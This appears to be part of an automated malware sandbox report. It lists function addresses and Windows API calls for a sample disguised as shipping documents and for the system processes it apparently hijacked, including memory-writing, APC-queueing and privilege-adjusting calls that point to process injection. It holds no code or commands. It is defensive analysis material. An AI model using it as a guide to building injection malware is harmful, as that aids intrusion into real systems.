Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392FB0 NtResumeThread,LdrInitializeThunk,	6_2_03392FB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392FE0 NtCreateFile,LdrInitializeThunk,	6_2_03392FE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392E80 NtReadVirtualMemory,LdrInitializeThunk,	6_2_03392E80
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392EE0 NtQueueApcThread,LdrInitializeThunk,	6_2_03392EE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392D30 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_03392D30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_03392D10
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_03392DF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392DD0 NtDelayExecution,LdrInitializeThunk,	6_2_03392DD0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_03392C70
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392C60 NtCreateKey,LdrInitializeThunk,	6_2_03392C60
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_03392CA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033935C0 NtCreateMutant,LdrInitializeThunk,	6_2_033935C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033939B0 NtGetContextThread,LdrInitializeThunk,	6_2_033939B0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392B80 NtQueryInformationFile,	6_2_03392B80
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392AB0 NtWaitForSingleObject,	6_2_03392AB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392F60 NtCreateProcessEx,	6_2_03392F60
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392FA0 NtQuerySection,	6_2_03392FA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392F90 NtProtectVirtualMemory,	6_2_03392F90
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392E30 NtWriteVirtualMemory,	6_2_03392E30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392EA0 NtAdjustPrivilegesToken,	6_2_03392EA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392D00 NtSetInformationFile,	6_2_03392D00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392DB0 NtEnumerateKey,	6_2_03392DB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392C00 NtQueryInformationProcess,	6_2_03392C00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392CF0 NtOpenProcess,	6_2_03392CF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392CC0 NtQueryVirtualMemory,	6_2_03392CC0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03393010 NtOpenDirectoryObject,	6_2_03393010
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03393090 NtSetValueKey,	6_2_03393090
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03393D10 NtOpenProcessToken,	6_2_03393D10
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03393D70 NtOpenThread,	6_2_03393D70
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_029A9280 NtCreateFile,	6_2_029A9280
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_029A93F0 NtReadFile,	6_2_029A93F0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_029A9700 NtAllocateVirtualMemory,	6_2_029A9700
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_029A94F0 NtDeleteFile,	6_2_029A94F0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_029A95A0 NtClose,	6_2_029A95A0

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_00431BE8: GetFullPathNameW,__swprintf,_wcslen,CreateDirectoryW,CreateFileW,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00431BE8

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_00446313 DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00446313

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004333BE

Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_004096A0	0_2_004096A0
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0042200C	0_2_0042200C
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0041A217	0_2_0041A217
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00412216	0_2_00412216
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0042435D	0_2_0042435D
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_004033C0	0_2_004033C0
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0044F430	0_2_0044F430
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_004125E8	0_2_004125E8
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0044663B	0_2_0044663B
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00413801	0_2_00413801
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0042096F	0_2_0042096F
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_004129D0	0_2_004129D0
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_004119E3	0_2_004119E3
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0041C9AE	0_2_0041C9AE
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0047EA6F	0_2_0047EA6F
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0040FA10	0_2_0040FA10
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0044EB5F	0_2_0044EB5F
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00423C81	0_2_00423C81
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00411E78	0_2_00411E78
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00442E0C	0_2_00442E0C
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00420EC0	0_2_00420EC0
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0044CF17	0_2_0044CF17
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00444FD2	0_2_00444FD2
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_03EB6278	0_2_03EB6278
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004188F3	2_2_004188F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403060	2_2_00403060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004010C0	2_2_004010C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004101CA	2_2_004101CA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004101D3	2_2_004101D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401200	2_2_00401200
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040235D	2_2_0040235D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402360	2_2_00402360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416B33	2_2_00416B33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004103F3	2_2_004103F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402B95	2_2_00402B95
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402BA0	2_2_00402BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E46B	2_2_0040E46B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E473	2_2_0040E473
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042EEA3	2_2_0042EEA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FA352	2_2_037FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_038003E6	2_2_038003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E3F0	2_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C02C0	2_2_037C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C8158	2_2_037C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_038001AA	2_2_038001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730100	2_2_03730100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F81CC	2_2_037F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F41A2	2_2_037F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03764750	2_2_03764750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373C7C0	2_2_0373C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375C6E0	2_2_0375C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03800591	2_2_03800591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F2446	2_2_037F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E4420	2_2_037E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EE4F6	2_2_037EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FAB40	2_2_037FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F6BD7	2_2_037F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03756962	2_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0380A9A6	2_2_0380A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374A840	2_2_0374A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03742840	2_2_03742840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E8F0	2_2_0376E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037268B8	2_2_037268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4F40	2_2_037B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03760F30	2_2_03760F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E2F30	2_2_037E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03782F28	2_2_03782F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374CFE0	2_2_0374CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732FC8	2_2_03732FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BEFA0	2_2_037BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740E59	2_2_03740E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FEE26	2_2_037FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FEEDB	2_2_037FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752E90	2_2_03752E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FCE93	2_2_037FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DCD1F	2_2_037DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374AD00	2_2_0374AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373ADE0	2_2_0373ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03758DBF	2_2_03758DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740C00	2_2_03740C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730CF2	2_2_03730CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0CB5	2_2_037E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372D34C	2_2_0372D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F132D	2_2_037F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0378739A	2_2_0378739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E12ED	2_2_037E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375B2C0	2_2_0375B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037452A0	2_2_037452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372F172	2_2_0372F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377516C	2_2_0377516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374B1B0	2_2_0374B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0380B16B	2_2_0380B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F70E9	2_2_037F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FF0E0	2_2_037FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EF0CC	2_2_037EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037470C0	2_2_037470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FF7B0	2_2_037FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03785630	2_2_03785630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F16CC	2_2_037F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F7571	2_2_037F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_038095C3	2_2_038095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DD5B0	2_2_037DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03731460	2_2_03731460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FF43F	2_2_037FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFB76	2_2_037FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B5BF0	2_2_037B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377DBF9	2_2_0377DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375FB80	2_2_0375FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B3A6C	2_2_037B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFA49	2_2_037FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F7A46	2_2_037F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EDAC6	2_2_037EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DDAAC	2_2_037DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03785AA0	2_2_03785AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E1AA3	2_2_037E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03749950	2_2_03749950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375B950	2_2_0375B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D5910	2_2_037D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AD800	2_2_037AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037438E0	2_2_037438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFF09	2_2_037FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03703FD2	2_2_03703FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03703FD5	2_2_03703FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFFB1	2_2_037FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03741F92	2_2_03741F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03749EB0	2_2_03749EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F7D73	2_2_037F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F1D5A	2_2_037F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03743D40	2_2_03743D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375FDC0	2_2_0375FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B9C32	2_2_037B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFCF2	2_2_037FFCF2
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_0530C911	4_2_0530C911
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_05316DE8	4_2_05316DE8
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_0530E6BF	4_2_0530E6BF
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_0530E6C8	4_2_0530E6C8
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_0530C960	4_2_0530C960
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_0530C968	4_2_0530C968
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_05315028	4_2_05315028
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_0530E8E8	4_2_0530E8E8
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Code function: 4_2_0532D398	4_2_0532D398
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341A352	6_2_0341A352
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_034203E6	6_2_034203E6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0336E3F0	6_2_0336E3F0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03400274	6_2_03400274
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033E02C0	6_2_033E02C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033FA118	6_2_033FA118
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03350100	6_2_03350100
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033E8158	6_2_033E8158
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_034181CC	6_2_034181CC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_034141A2	6_2_034141A2
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_034201AA	6_2_034201AA
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033F2000	6_2_033F2000
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03360770	6_2_03360770
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03384750	6_2_03384750
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0335C7C0	6_2_0335C7C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0337C6E0	6_2_0337C6E0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03360535	6_2_03360535
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03420591	6_2_03420591
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03412446	6_2_03412446
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03404420	6_2_03404420
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0340E4F6	6_2_0340E4F6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341AB40	6_2_0341AB40
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03416BD7	6_2_03416BD7
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0335EA80	6_2_0335EA80
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03376962	6_2_03376962
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033629A0	6_2_033629A0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0342A9A6	6_2_0342A9A6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03362840	6_2_03362840
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0336A840	6_2_0336A840
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033468B8	6_2_033468B8
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0338E8F0	6_2_0338E8F0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03380F30	6_2_03380F30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033A2F28	6_2_033A2F28
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03402F30	6_2_03402F30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033D4F40	6_2_033D4F40
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033DEFA0	6_2_033DEFA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0336CFE0	6_2_0336CFE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03352FC8	6_2_03352FC8
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341EE26	6_2_0341EE26
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03360E59	6_2_03360E59
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341EEDB	6_2_0341EEDB
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03372E90	6_2_03372E90
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341CE93	6_2_0341CE93
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033FCD1F	6_2_033FCD1F
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0336AD00	6_2_0336AD00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03378DBF	6_2_03378DBF
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0335ADE0	6_2_0335ADE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03360C00	6_2_03360C00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03350CF2	6_2_03350CF2
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03400CB5	6_2_03400CB5
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341132D	6_2_0341132D
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0334D34C	6_2_0334D34C
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033A739A	6_2_033A739A
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033652A0	6_2_033652A0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_034012ED	6_2_034012ED
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0337B2C0	6_2_0337B2C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0342B16B	6_2_0342B16B
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0334F172	6_2_0334F172
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0339516C	6_2_0339516C
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0336B1B0	6_2_0336B1B0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0340F0CC	6_2_0340F0CC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341F0E0	6_2_0341F0E0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_034170E9	6_2_034170E9
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033670C0	6_2_033670C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341F7B0	6_2_0341F7B0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033A5630	6_2_033A5630
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_034116CC	6_2_034116CC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03417571	6_2_03417571
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_034295C3	6_2_034295C3
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033FD5B0	6_2_033FD5B0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03351460	6_2_03351460
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341F43F	6_2_0341F43F
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341FB76	6_2_0341FB76
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0337FB80	6_2_0337FB80
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0339DBF9	6_2_0339DBF9
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033D5BF0	6_2_033D5BF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03417A46	6_2_03417A46
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0341FA49	6_2_0341FA49
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033D3A6C	6_2_033D3A6C
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0340DAC6	6_2_0340DAC6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033FDAAC	6_2_033FDAAC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033A5AA0	6_2_033A5AA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03401AA3	6_2_03401AA3
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033F5910	6_2_033F5910
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03369950	6_2_03369950
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0337B950	6_2_0337B950
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033CD800	6_2_033CD800
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_033638E0	6_2_033638E0
